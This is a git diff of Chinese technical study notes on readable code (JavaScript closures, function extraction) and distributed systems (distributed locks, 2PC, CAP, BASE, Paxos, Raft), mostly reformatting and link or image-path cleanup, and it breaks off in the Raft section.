-JavaScript 可以用闭包减小作用域。以下代码中 submit_form 是函数变量，submitted 变量控制函数不会被提交两次。第一个实现中 submitted 是全局变量，第二个实现把 submitted 放到匿名函数中，从而限制了起作用域范围。
+JavaScript 可以用闭包减小作用域。以下代码中 submit_form 是函数变量，submitted 变量控制函数不会被提交两次。第一个实现中 submitted 是全局变量，第二个实现把 submitted 放到匿名函数中，从而限制了起作用域范围。
 
 ```js
-submitted = false;
-var submit_form = function(form_name) {
-    if (submitted) {
-        return;
-    }
-    submitted = true;
+submitted = false;
+var submit_form = function(form_name) {
+    if (submitted) {
+        return;
+    }
+    submitted = true;
 };
 ```
 
 ```js
-var submit_form = (function() {
-    var submitted = false;
-    return function(form_name) {
-        if(submitted) {
-            return;
-        }
-        submitted = true;
-    }
-}());  // () 使得外层匿名函数立即执行
+var submit_form = (function() {
+    var submitted = false;
+    return function(form_name) {
+        if(submitted) {
+            return;
+        }
+        submitted = true;
+    }
+}());  // () 使得外层匿名函数立即执行
 ```
 
-JavaScript 中没有用 var 声明的变量都是全局变量，而全局变量很容易造成迷惑，因此应当总是用 var 来声明变量。
+JavaScript 中没有用 var 声明的变量都是全局变量，而全局变量很容易造成迷惑，因此应当总是用 var 来声明变量。
 
 变量定义的位置应当离它使用的位置最近。
 
-**实例解析** 
+**实例解析**
 
 在一个网页中有以下文本输入字段：
 
 ```html
-<input type = "text" id = "input1" value = "a">
-<input type = "text" id = "input2" value = "b">
-<input type = "text" id = "input3" value = "">
-<input type = "text" id = "input4" value = "d">
+<input type = "text" id = "input1" value = "a">
+<input type = "text" id = "input2" value = "b">
+<input type = "text" id = "input3" value = "">
+<input type = "text" id = "input4" value = "d">
 ```
 
-现在要接受一个字符串并把它放到第一个空的 input 字段中，初始实现如下：
+现在要接受一个字符串并把它放到第一个空的 input 字段中，初始实现如下：
 
 ```js
-var setFirstEmptyInput = function(new_alue) {
-    var found = false;
-    var i = 1;
-    var elem = document.getElementById('input' + i);
-    while (elem != null) {
-        if (elem.value === '') {
-            found = true;
-            break;
-        }
-        i++;
-        elem = document.getElementById('input' + i);
-    }
-    if (found) elem.value = new_value;
-    return elem;
+var setFirstEmptyInput = function(new_alue) {
+    var found = false;
+    var i = 1;
+    var elem = document.getElementById('input' + i);
+    while (elem != null) {
+        if (elem.value === '') {
+            found = true;
+            break;
+        }
+        i++;
+        elem = document.getElementById('input' + i);
+    }
+    if (found) elem.value = new_value;
+    return elem;
 }
 ```
 
 以上实现有以下问题：
 
-- found 可以去除；
-- elem 作用域过大；
-- 可以用 for 循环代替 while 循环；
+- found 可以去除；
+- elem 作用域过大；
+- 可以用 for 循环代替 while 循环；
 
 ```js
-var setFirstEmptyInput = function(new_value) {
-    for (var i = 1; true; i++) {
-        var elem = document.getElementById('input' + i);
-        if (elem === null) {
-            return null;
-        }
-        if (elem.value === '') {
-            elem.value = new_value;
-            return elem;
-        }
-    }
+var setFirstEmptyInput = function(new_value) {
+    for (var i = 1; true; i++) {
+        var elem = document.getElementById('input' + i);
+        if (elem === null) {
+            return null;
+        }
+        if (elem.value === '') {
+            elem.value = new_value;
+            return elem;
+        }
+    }
 };
 ```
 
-# 十、抽取函数
+# 十、抽取函数
 
 工程学就是把大问题拆分成小问题再把这些问题的解决方案放回一起。
 
@@ -271,38 +252,38 @@ var setFirstEmptyInput = function(new_value) {
 介绍性的代码：
 
 ```java
-int findClostElement(int[] arr) {
-    int clostIdx;
-    int clostDist = Interger.MAX_VALUE;
-    for (int i = 0; i < arr.length; i++) {
-        int x = ...;
-        int y = ...;
-        int z = ...;
-        int value = x * y * z;
-        int dist = Math.sqrt(Math.pow(value, 2), Math.pow(arr[i], 2));
-        if (dist < clostDist) {
-            clostIdx = i;
-            clostDist = value;
-        }
-    }
-    return clostIdx;
+int findClostElement(int[] arr) {
+    int clostIdx;
+    int clostDist = Interger.MAX_VALUE;
+    for (int i = 0; i < arr.length; i++) {
+        int x = ...;
+        int y = ...;
+        int z = ...;
+        int value = x * y * z;
+        int dist = Math.sqrt(Math.pow(value, 2), Math.pow(arr[i], 2));
+        if (dist < clostDist) {
+            clostIdx = i;
+            clostDist = value;
+        }
+    }
+    return clostIdx;
 }
 ```
 
 以上代码中循环部分主要计算距离，这部分不属于代码高层次目标，高层次目标是寻找最小距离的值，因此可以把这部分代替提取到独立的函数中。这样做也带来一个额外的好处有：可以单独进行测试、可以快速找到程序错误并修改。
 
 ```java
-public int findClostElement(int[] arr) {
-    int clostIdx;
-    int clostDist = Interger.MAX_VALUE;
-    for (int i = 0; i < arr.length; i++) {
-        int dist = computDist(arr, i);
-        if (dist < clostDist) {
-            clostIdx = i;
-            clostDist = value;
-        }
-    }
-    return clostIdx;
+public int findClostElement(int[] arr) {
+    int clostIdx;
+    int clostDist = Interger.MAX_VALUE;
+    for (int i = 0; i < arr.length; i++) {
+        int dist = computDist(arr, i);
+        if (dist < clostDist) {
+            clostIdx = i;
+            clostDist = value;
+        }
+    }
+    return clostIdx;
 }
 ```
 
@@ -310,22 +291,22 @@ public int findClostElement(int[] arr) {
 
 函数抽取也用于减小代码的冗余。
 
-# 十一、一次只做一件事
+# 十一、一次只做一件事
 
 只做一件事的代码很容易让人知道其要做的事；
 
 基本流程：列出代码所做的所有任务；把每个任务拆分到不同的函数，或者不同的段落。
 
-# 十二、用自然语言表述代码
+# 十二、用自然语言表述代码
 
 先用自然语言书写代码逻辑，也就是伪代码，然后再写代码，这样代码逻辑会更清晰。
 
-# 十三、减少代码量
+# 十三、减少代码量
 
 不要过度设计，编码过程会有很多变化，过度设计的内容到最后往往是无用的。
 
 多用标准库实现。
 
-# 参考资料
+# 参考资料
 
-- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.
+- Dustin, Boswell, Trevor, 等. 编写可读代码的艺术 [M]. 机械工业出版社, 2012.
\ No newline at end of file
diff --git a/docs/notes/代码风格规范.md b/docs/notes/代码风格规范.md
index 2630a604..a56acc39 100644
--- a/docs/notes/代码风格规范.md
+++ b/docs/notes/代码风格规范.md
@@ -1,8 +1,3 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-<!-- GFM-TOC -->
-
-
-- [Twitter Java Style Guide](https://github.com/twitter/commons/blob/master/src/java/com/twitter/common/styleguide.md)
-- [Google Java Style Guide](http://google.github.io/styleguide/javaguide.html)
-- [阿里巴巴Java开发手册](https://github.com/alibaba/p3c/blob/master/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4Java%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C%EF%BC%88%E8%AF%A6%E5%B0%BD%E7%89%88%EF%BC%89.pdf)
+- [Twitter Java Style Guide](https://github.com/twitter/commons/blob/master/src/java/com/twitter/common/styleguide.md)
+- [Google Java Style Guide](http://google.github.io/styleguide/javaguide.html)
+- [阿里巴巴Java开发手册](https://github.com/alibaba/p3c/blob/master/%E9%98%BF%E9%87%8C%E5%B7%B4%E5%B7%B4Java%E5%BC%80%E5%8F%91%E6%89%8B%E5%86%8C%EF%BC%88%E8%AF%A6%E5%B0%BD%E7%89%88%EF%BC%89.pdf)
diff --git a/docs/notes/分布式.md b/docs/notes/分布式.md
index ac7e06dc..694d96b4 100644
--- a/docs/notes/分布式.md
+++ b/docs/notes/分布式.md
@@ -1,345 +1,335 @@
-[🎉 面试进阶指南已上线](https://xiaozhuanlan.com/CyC2018)
-<!-- GFM-TOC -->
-* [一、分布式锁](#一分布式锁)
-    * [数据库的唯一索引](#数据库的唯一索引)
-    * [Redis 的 SETNX 指令](#redis-的-setnx-指令)
-    * [Redis 的 RedLock 算法](#redis-的-redlock-算法)
-    * [Zookeeper 的有序节点](#zookeeper-的有序节点)
-* [二、分布式事务](#二分布式事务)
-    * [本地消息表](#本地消息表)
-    * [2PC](#2pc)
-* [三、CAP](#三cap)
-    * [一致性](#一致性)
-    * [可用性](#可用性)
-    * [分区容忍性](#分区容忍性)
-    * [权衡](#权衡)
-* [四、BASE](#四base)
-    * [基本可用](#基本可用)
-    * [软状态](#软状态)
-    * [最终一致性](#最终一致性)
-* [五、Paxos](#五paxos)
-    * [执行过程](#执行过程)
-    * [约束条件](#约束条件)
-* [六、Raft](#六raft)
-    * [单个 Candidate 的竞选](#单个-candidate-的竞选)
-    * [多个 Candidate 竞选](#多个-candidate-竞选)
-    * [数据同步](#数据同步)
-* [参考](#参考)
-<!-- GFM-TOC -->
-
-
-# 一、分布式锁
+# 一、分布式锁
 
 在单机场景下，可以使用语言的内置锁来实现进程同步。但是在分布式场景下，需要同步的进程可能位于不同的节点上，那么就需要使用分布式锁。
 
 阻塞锁通常使用互斥量来实现：
 
-- 互斥量为 0 表示有其它进程在使用锁，此时处于锁定状态；
-- 互斥量为 1 表示未锁定状态。
+- 互斥量为 0 表示有其它进程在使用锁，此时处于锁定状态；
+- 互斥量为 1 表示未锁定状态。
 
-1 和 0 可以用一个整型值表示，也可以用某个数据是否存在表示。
+1 和 0 可以用一个整型值表示，也可以用某个数据是否存在表示。
 
-## 数据库的唯一索引
+## 数据库的唯一索引
 
 获得锁时向表中插入一条记录，释放锁时删除这条记录。唯一索引可以保证该记录只被插入一次，那么就可以用这个记录是否存在来判断是否存于锁定状态。
 
 存在以下几个问题：
 
-- 锁没有失效时间，解锁失败的话其它进程无法再获得该锁。
-- 只能是非阻塞锁，插入失败直接就报错了，无法重试。
-- 不可重入，已经获得锁的进程也必须重新获取锁。
+- 锁没有失效时间，解锁失败的话其它进程无法再获得该锁。
+- 只能是非阻塞锁，插入失败直接就报错了，无法重试。
+- 不可重入，已经获得锁的进程也必须重新获取锁。
 
-## Redis 的 SETNX 指令
+## Redis 的 SETNX 指令
 
-使用 SETNX（set if not exist）指令插入一个键值对，如果 Key 已经存在，那么会返回 False，否则插入成功并返回 True。
+使用 SETNX（set if not exist）指令插入一个键值对，如果 Key 已经存在，那么会返回 False，否则插入成功并返回 True。
 
-SETNX 指令和数据库的唯一索引类似，保证了只存在一个 Key 的键值对，那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
+SETNX 指令和数据库的唯一索引类似，保证了只存在一个 Key 的键值对，那么可以用一个 Key 的键值对是否存在来判断是否存于锁定状态。
 
-EXPIRE 指令可以为一个键值对设置一个过期时间，从而避免了数据库唯一索引实现方式中释放锁失败的问题。
+EXPIRE 指令可以为一个键值对设置一个过期时间，从而避免了数据库唯一索引实现方式中释放锁失败的问题。
 
-## Redis 的 RedLock 算法
+## Redis 的 RedLock 算法
 
-使用了多个 Redis 实例来实现分布式锁，这是为了保证在发生单点故障时仍然可用。
+使用了多个 Redis 实例来实现分布式锁，这是为了保证在发生单点故障时仍然可用。
 
-- 尝试从 N 个相互独立 Redis 实例获取锁；
-- 计算获取锁消耗的时间，只有当这个时间小于锁的过期时间，并且从大多数（N / 2 + 1）实例上获取了锁，那么就认为锁获取成功了；
-- 如果锁获取失败，就到每个实例上释放锁。
+- 尝试从 N 个相互独立 Redis 实例获取锁；
+- 计算获取锁消耗的时间，只有当这个时间小于锁的过期时间，并且从大多数（N / 2 + 1）实例上获取了锁，那么就认为锁获取成功了；
+- 如果锁获取失败，就到每个实例上释放锁。
 
-## Zookeeper 的有序节点
+## Zookeeper 的有序节点
 
-### 1. Zookeeper 抽象模型
+### 1. Zookeeper 抽象模型
 
-Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点的父节点为 /app1。
+Zookeeper 提供了一种树形结构级的命名空间，/app1/p_1 节点的父节点为 /app1。
 
-<div align="center"> <img src="pics/31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/> </div><br>
+<img src="index_files/31d99967-1171-448e-8531-bccf5c14cffe.jpg" width="400"/>
 
-### 2. 节点类型
+### 2. 节点类型
 
-- 永久节点：不会因为会话结束或者超时而消失；
-- 临时节点：如果会话结束或者超时就会消失；
-- 有序节点：会在节点名的后面加一个数字后缀，并且是有序的，例如生成的有序节点为 /lock/node-0000000000，它的下一个有序节点则为 /lock/node-0000000001，以此类推。
+- 永久节点：不会因为会话结束或者超时而消失；
+- 临时节点：如果会话结束或者超时就会消失；
+- 有序节点：会在节点名的后面加一个数字后缀，并且是有序的，例如生成的有序节点为 /lock/node-0000000000，它的下一个有序节点则为 /lock/node-0000000001，以此类推。
 
-### 3. 监听器
+### 3. 监听器
 
 为一个节点注册监听器，在节点状态发生改变时，会给客户端发送消息。
 
-### 4. 分布式锁实现
+### 4. 分布式锁实现
 
-- 创建一个锁目录 /lock；
-- 当一个客户端需要获取锁时，在 /lock 下创建临时的且有序的子节点；
--  客户端获取 /lock 下的子节点列表，判断自己创建的子节点是否为当前子节点列表中序号最小的子节点，如果是则认为获得锁；否则监听自己的前一个子节点，获得子节点的变更通知后重复此步骤直至获得锁；
-- 执行业务代码，完成后，删除对应的子节点。
+- 创建一个锁目录 /lock；
+- 当一个客户端需要获取锁时，在 /lock 下创建临时的且有序的子节点；
+-  客户端获取 /lock 下的子节点列表，判断自己创建的子节点是否为当前子节点列表中序号最小的子节点，如果是则认为获得锁；否则监听自己的前一个子节点，获得子节点的变更通知后重复此步骤直至获得锁；
+- 执行业务代码，完成后，删除对应的子节点。
 
-### 5. 会话超时
+### 5. 会话超时
 
-如果一个已经获得锁的会话超时了，因为创建的是临时节点，所以该会话对应的临时节点会被删除，其它会话就可以获得锁了。可以看到，Zookeeper 分布式锁不会出现数据库的唯一索引实现的分布式锁释放锁失败问题。
+如果一个已经获得锁的会话超时了，因为创建的是临时节点，所以该会话对应的临时节点会被删除，其它会话就可以获得锁了。可以看到，Zookeeper 分布式锁不会出现数据库的唯一索引实现的分布式锁释放锁失败问题。
 
-### 6. 羊群效应
+### 6. 羊群效应
 
 一个节点未获得锁，只需要监听自己的前一个子节点，这是因为如果监听所有的子节点，那么任意一个子节点状态改变，其它所有子节点都会收到通知（羊群效应），而我们只希望它的后一个子节点收到通知。
 
-# 二、分布式事务
+# 二、分布式事务
 
-指事务的操作位于不同的节点上，需要保证事务的 ACID 特性。
+指事务的操作位于不同的节点上，需要保证事务的 ACID 特性。
 
 例如在下单场景下，库存和订单如果不在同一个节点上，就涉及分布式事务。
 
-## 本地消息表
+## 本地消息表
 
 本地消息表与业务数据表处于同一个数据库中，这样就能利用本地事务来保证在对这两个表的操作满足事务特性，并且使用了消息队列来保证最终一致性。
 
-1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息，本地事务能保证这个消息一定会被写入本地消息表中。
-2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中，如果转发成功则将消息从本地消息表中删除，否则继续重新转发。
-3. 在分布式事务操作的另一方从消息队列中读取一个消息，并执行消息中的操作。
+1. 在分布式事务操作的一方完成写业务数据的操作之后向本地消息表发送一个消息，本地事务能保证这个消息一定会被写入本地消息表中。
+2. 之后将本地消息表中的消息转发到 Kafka 等消息队列中，如果转发成功则将消息从本地消息表中删除，否则继续重新转发。
+3. 在分布式事务操作的另一方从消息队列中读取一个消息，并执行消息中的操作。
 
-<div align="center"> <img src="pics/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg"/> </div><br>
+![](index_files/e3bf5de4-ab1e-4a9b-896d-4b0ad7e9220a.jpg)
 
-## 2PC
+## 2PC
 
-两阶段提交（Two-phase Commit，2PC），通过引入协调者（Coordinator）来协调参与者的行为，并最终决定这些参与者是否要真正执行事务。
+两阶段提交（Two-phase Commit，2PC），通过引入协调者（Coordinator）来协调参与者的行为，并最终决定这些参与者是否要真正执行事务。
 
-### 1. 运行过程
+### 1. 运行过程
 
-#### 1.1 准备阶段
+#### 1.1 准备阶段
 
 协调者询问参与者事务是否执行成功，参与者发回事务执行结果。
 
-<div align="center"> <img src="pics/04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg"/> </div><br>
+![](index_files/04f41228-375d-4b7d-bfef-738c5a7c8f07.jpg)
 
-#### 1.2 提交阶段
+#### 1.2 提交阶段
 
 如果事务在每个参与者上都执行成功，事务协调者发送通知让参与者提交事务；否则，协调者发送通知让参与者回滚事务。
 
 需要注意的是，在准备阶段，参与者执行了事务，但是还未提交。只有在提交阶段接收到协调者发来的通知后，才进行提交或者回滚。
 
-<div align="center"> <img src="pics/2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg"/> </div><br>
+![](index_files/2991c772-fb1c-4051-a9c7-932b68e76bd7.jpg)
 
-### 2. 存在的问题
+### 2. 存在的问题
 
-#### 2.1 同步阻塞
+#### 2.1 同步阻塞
 
 所有事务参与者在等待其它参与者响应的时候都处于同步阻塞状态，无法进行其它操作。
 
-#### 2.2 单点问题
+#### 2.2 单点问题
 
-协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响。特别是在阶段二发生故障，所有参与者会一直等待，无法完成其它操作。
+协调者在 2PC 中起到非常大的作用，发生故障将会造成很大影响。特别是在阶段二发生故障，所有参与者会一直等待，无法完成其它操作。
 
-#### 2.3 数据不一致
+#### 2.3 数据不一致
 
-在阶段二，如果协调者只发送了部分 Commit 消息，此时网络发生异常，那么只有部分参与者接收到 Commit 消息，也就是说只有部分参与者提交了事务，使得系统数据不一致。
+在阶段二，如果协调者只发送了部分 Commit 消息，此时网络发生异常，那么只有部分参与者接收到 Commit 消息，也就是说只有部分参与者提交了事务，使得系统数据不一致。
 
-#### 2.4 太过保守
+#### 2.4 太过保守
 
 任意一个节点失败就会导致整个事务失败，没有完善的容错机制。
 
-# 三、CAP
+# 三、CAP
 
-分布式系统不可能同时满足一致性（C：Consistency）、可用性（A：Availability）和分区容忍性（P：Partition Tolerance），最多只能同时满足其中两项。
+分布式系统不可能同时满足一致性（C：Consistency）、可用性（A：Availability）和分区容忍性（P：Partition Tolerance），最多只能同时满足其中两项。
 
-<div align="center"> <img src="pics/f1109d04-3c67-48a3-9963-2c475f94e175.jpg"/> </div><br>
+![](index_files/f1109d04-3c67-48a3-9963-2c475f94e175.jpg)
 
-## 一致性
+## 一致性
 
 一致性指的是多个数据副本是否能保持一致的特性，在一致性的条件下，系统在执行数据更新操作之后能够从一致性状态转移到另一个一致性状态。
 
 对系统的一个数据更新成功之后，如果所有用户都能够读取到最新的值，该系统就被认为具有强一致性。
 
-## 可用性
+## 可用性
 
-可用性指分布式系统在面对各种异常时可以提供正常服务的能力，可以用系统可用时间占总时间的比值来衡量，4 个 9 的可用性表示系统 99.99% 的时间是可用的。
+可用性指分布式系统在面对各种异常时可以提供正常服务的能力，可以用系统可用时间占总时间的比值来衡量，4 个 9 的可用性表示系统 99.99% 的时间是可用的。
 
 在可用性条件下，要求系统提供的服务一直处于可用的状态，对于用户的每一个操作请求总是能够在有限的时间内返回结果。
 
-## 分区容忍性
+## 分区容忍性
 
 网络分区指分布式系统中的节点被划分为多个区域，每个区域内部可以通信，但是区域之间无法通信。
 
 在分区容忍性条件下，分布式系统在遇到任何网络分区故障的时候，仍然需要能对外提供一致性和可用性的服务，除非是整个网络环境都发生了故障。
 
-## 权衡
+## 权衡
 
-在分布式系统中，分区容忍性必不可少，因为需要总是假设网络是不可靠的。因此，CAP 理论实际上是要在可用性和一致性之间做权衡。
+在分布式系统中，分区容忍性必不可少，因为需要总是假设网络是不可靠的。因此，CAP 理论实际上是要在可用性和一致性之间做权衡。
 
 可用性和一致性往往是冲突的，很难使它们同时满足。在多个节点之间进行数据同步时，
 
-- 为了保证一致性（CP），不能访问未同步完成的节点，也就失去了部分可用性；
-- 为了保证可用性（AP），允许读取所有节点的数据，但是数据可能不一致。
+- 为了保证一致性（CP），不能访问未同步完成的节点，也就失去了部分可用性；
+- 为了保证可用性（AP），允许读取所有节点的数据，但是数据可能不一致。
 
-<div align="center"> <img src="pics/0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg"/> </div><br>
+![](index_files/0b587744-c0a8-46f2-8d72-e8f070d67b4b.jpg)
 
-# 四、BASE
+# 四、BASE
 
-BASE 是基本可用（Basically Available）、软状态（Soft State）和最终一致性（Eventually Consistent）三个短语的缩写。
+BASE 是基本可用（Basically Available）、软状态（Soft State）和最终一致性（Eventually Consistent）三个短语的缩写。
 
-BASE 理论是对 CAP 中一致性和可用性权衡的结果，它的核心思想是：即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。
+BASE 理论是对 CAP 中一致性和可用性权衡的结果，它的核心思想是：即使无法做到强一致性，但每个应用都可以根据自身业务特点，采用适当的方式来使系统达到最终一致性。
 
-<div align="center"> <img src="pics/bc603930-d74d-4499-a3e7-2d740fc07f33.png"/> </div><br>
+![](index_files/bc603930-d74d-4499-a3e7-2d740fc07f33.png)
 
-## 基本可用
+## 基本可用
 
 指分布式系统在出现故障的时候，保证核心可用，允许损失部分可用性。
 
 例如，电商在做促销时，为了保证购物系统的稳定性，部分消费者可能会被引导到一个降级的页面。
 
-## 软状态
+## 软状态
 
 指允许系统中的数据存在中间状态，并认为该中间状态不会影响系统整体可用性，即允许系统不同节点的数据副本之间进行同步的过程存在时延。
 
-## 最终一致性
+## 最终一致性
 
 最终一致性强调的是系统中所有的数据副本，在经过一段时间的同步后，最终能达到一致的状态。
 
-ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE 要求最终一致性，通过牺牲强一致性来达到可用性，通常运用在大型分布式系统中。
+ACID 要求强一致性，通常运用在传统的数据库系统上。而 BASE 要求最终一致性，通过牺牲强一致性来达到可用性，通常运用在大型分布式系统中。
 
-在实际的分布式场景中，不同业务单元和组件对一致性的要求是不同的，因此 ACID 和 BASE 往往会结合在一起使用。
+在实际的分布式场景中，不同业务单元和组件对一致性的要求是不同的，因此 ACID 和 BASE 往往会结合在一起使用。
 
-# 五、Paxos
+# 五、Paxos
 
 用于达成共识性问题，即对多个节点产生的值，该算法能保证只选出唯一一个值。
 
 主要有三类节点：
 
-- 提议者（Proposer）：提议一个值；
-- 接受者（Acceptor）：对每个提议进行投票；
-- 告知者（Learner）：被告知投票的结果，不参与投票过程。
+- 提议者（Proposer）：提议一个值；
+- 接受者（Acceptor）：对每个提议进行投票；
+- 告知者（Learner）：被告知投票的结果，不参与投票过程。
 
-<div align="center"> <img src="pics/b988877c-0f0a-4593-916d-de2081320628.jpg"/> </div><br>
+![](index_files/b988877c-0f0a-4593-916d-de2081320628.jpg)
 
-## 执行过程
+## 执行过程
 
-规定一个提议包含两个字段：[n, v]，其中 n 为序号（具有唯一性），v 为提议值。
+规定一个提议包含两个字段：[n, v]，其中 n 为序号（具有唯一性），v 为提议值。
 
-### 1. Prepare 阶段
+### 1. Prepare 阶段
 
-下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程，每个 Proposer 都会向所有 Acceptor 发送 Prepare 请求。
+下图演示了两个 Proposer 和三个 Acceptor 的系统中运行该算法的初始过程，每个 Proposer 都会向所有 Acceptor 发送 Prepare 请求。
 
-<div align="center"> <img src="pics/1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png"/> </div><br>
+![](index_files/1a9977e4-2f5c-49a6-aec9-f3027c9f46a7.png)
 
-当 Acceptor 接收到一个 Prepare 请求，包含的提议为 [n1, v1]，并且之前还未接收过 Prepare 请求，那么发送一个 Prepare 响应，设置当前接收到的提议为 [n1, v1]，并且保证以后不会再接受序号小于 n1 的提议。
+当 Acceptor 接收到一个 Prepare 请求，包含的提议为 [n1, v1]，并且之前还未接收过 Prepare 请求，那么发送一个 Prepare 响应，设置当前接收到的提议为 [n1, v1]，并且保证以后不会再接受序号小于 n1 的提议。
 
-如下图，Acceptor X 在收到 [n=2, v=8] 的 Prepare 请求时，由于之前没有接收过提议，因此就发送一个 [no previous] 的 Prepare 响应，设置当前接收到的提议为 [n=2, v=8]，并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
+如下图，Acceptor X 在收到 [n=2, v=8] 的 Prepare 请求时，由于之前没有接收过提议，因此就发送一个 [no previous] 的 Prepare 响应，设置当前接收到的提议为 [n=2, v=8]，并且保证以后不会再接受序号小于 2 的提议。其它的 Acceptor 类似。
 
-<div align="center"> <img src="pics/fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg"/> </div><br>
+![](index_files/fb44307f-8e98-4ff7-a918-31dacfa564b4.jpg)
 
-如果 Acceptor 接收到一个 Prepare 请求，包含的提议为 [n2, v2]，并且之前已经接收过提议 [n1, v1]。如果 n1 > n2，那么就丢弃该提议请求；否则，发送 Prepare 响应，该 Prepare 响应包含之前已经接收过的提议 [n1, v1]，设置当前接收到的提议为 [n2, v2]，并且保证以后不会再接受序号小于 n2 的提议。
+如果 Acceptor 接收到一个 Prepare 请求，包含的提议为 [n2, v2]，并且之前已经接收过提议 [n1, v1]。如果 n1 > n2，那么就丢弃该提议请求；否则，发送 Prepare 响应，该 Prepare 响应包含之前已经接收过的提议 [n1, v1]，设置当前接收到的提议为 [n2, v2]，并且保证以后不会再接受序号小于 n2 的提议。
 
-如下图，Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的 Prepare 请求，由于之前已经接收过 [n=4, v=5] 的提议，并且 n > 2，因此就抛弃该提议请求；Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的 Prepare 请求，因为之前接收到的提议为 [n=2, v=8]，并且 2 <= 4，因此就发送 [n=2, v=8] 的 Prepare 响应，设置当前接收到的提议为 [n=4, v=5]，并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
+如下图，Acceptor Z 收到 Proposer A 发来的 [n=2, v=8] 的 Prepare 请求，由于之前已经接收过 [n=4, v=5] 的提议，并且 n > 2，因此就抛弃该提议请求；Acceptor X 收到 Proposer B 发来的 [n=4, v=5] 的 Prepare 请求，因为之前接收到的提议为 [n=2, v=8]，并且 2 <= 4，因此就发送 [n=2, v=8] 的 Prepare 响应，设置当前接收到的提议为 [n=4, v=5]，并且保证以后不会再接受序号小于 4 的提议。Acceptor Y 类似。
 
-<div align="center"> <img src="pics/2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg"/> </div><br>
+![](index_files/2bcc58ad-bf7f-485c-89b5-e7cafc211ce2.jpg)
 
-### 2. Accept 阶段
+### 2. Accept 阶段
 
-当一个 Proposer 接收到超过一半 Acceptor 的 Prepare 响应时，就可以发送 Accept 请求。
+当一个 Proposer 接收到超过一半 Acceptor 的 Prepare 响应时，就可以发送 Accept 请求。
 
-Proposer A 接收到两个 Prepare 响应之后，就发送 [n=2, v=8] Accept 请求。该 Accept 请求会被所有 Acceptor 丢弃，因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
+Proposer A 接收到两个 Prepare 响应之后，就发送 [n=2, v=8] Accept 请求。该 Accept 请求会被所有 Acceptor 丢弃，因为此时所有 Acceptor 都保证不接受序号小于 4 的提议。
 
-Proposer B 过后也收到了两个 Prepare 响应，因此也开始发送 Accept 请求。需要注意的是，Accept 请求的 v 需要取它收到的最大提议编号对应的 v 值，也就是 8。因此它发送 [n=4, v=8] 的 Accept 请求。
+Proposer B 过后也收到了两个 Prepare 响应，因此也开始发送 Accept 请求。需要注意的是，Accept 请求的 v 需要取它收到的最大提议编号对应的 v 值，也就是 8。因此它发送 [n=4, v=8] 的 Accept 请求。
 
-<div align="center"> <img src="pics/9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png"/> </div><br>
+![](index_files/9b838aee-0996-44a5-9b0f-3d1e3e2f5100.png)
 
-### 3. Learn 阶段
+### 3. Learn 阶段
 
-Acceptor 接收到 Accept 请求时，如果序号大于等于该 Acceptor 承诺的最小序号，那么就发送 Learn 提议给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议，那么该提议的提议值就被 Paxos 选择出来。
+Acceptor 接收到 Accept 请求时，如果序号大于等于该 Acceptor 承诺的最小序号，那么就发送 Learn 提议给所有的 Learner。当 Learner 发现有大多数的 Acceptor 接收了某个提议，那么该提议的提议值就被 Paxos 选择出来。
 
-<div align="center"> <img src="pics/bf667594-bb4b-4634-bf9b-0596a45415ba.jpg"/> </div><br>
+![](index_files/bf667594-bb4b-4634-bf9b-0596a45415ba.jpg)
 
-## 约束条件
+## 约束条件
 
-### 1\. 正确性
+### 1\. 正确性
 
 指只有一个提议值会生效。
 
-因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收，并且 Acceptor 不会接受两个不同的提议，因此可以保证正确性。
+因为 Paxos 协议要求每个生效的提议被多数 Acceptor 接收，并且 Acceptor 不会接受两个不同的提议，因此可以保证正确性。
 
-### 2\. 可终止性
+### 2\. 可终止性
 
 指最后总会有一个提议生效。
 
-Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢，因此能够保证可终止性。
+Paxos 协议能够让 Proposer 发送的提议朝着能被大多数 Acceptor 接受的那个提议靠拢，因此能够保证可终止性。
 
-# 六、Raft
+# 六、Raft
 
-Raft 也是分布式一致性协议，主要是用来竞选主节点。
+Raft 也是分布式一致性协议，主要是用来竞选主节点。
 
-## 单个 Candidate 的竞选
+## 单个 Candidate 的竞选
 
-有三种节点：Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间，一般为 150ms\~300ms，如果在这个时间内没有收到 Leader 的心跳包，就会变成 Candidate，进入竞选阶段。
+有三种节点：Follower、Candidate 和 Leader。Leader 会周期性的发送心跳包给 Follower。每个 Follower 都设置了一个随机的竞选超时时间，一般为 150ms~300ms，如果在这个时间内没有收到 Leader 的心跳包，就会变成 Candidate，进入竞选阶段。
 
-- 下图展示一个分布式系统的最初阶段，此时只有 Follower 没有 Leader。Node A 等待一个随机的竞选超时时间之后，没收到 Leader 发来的心跳包，因此进入竞选阶段。
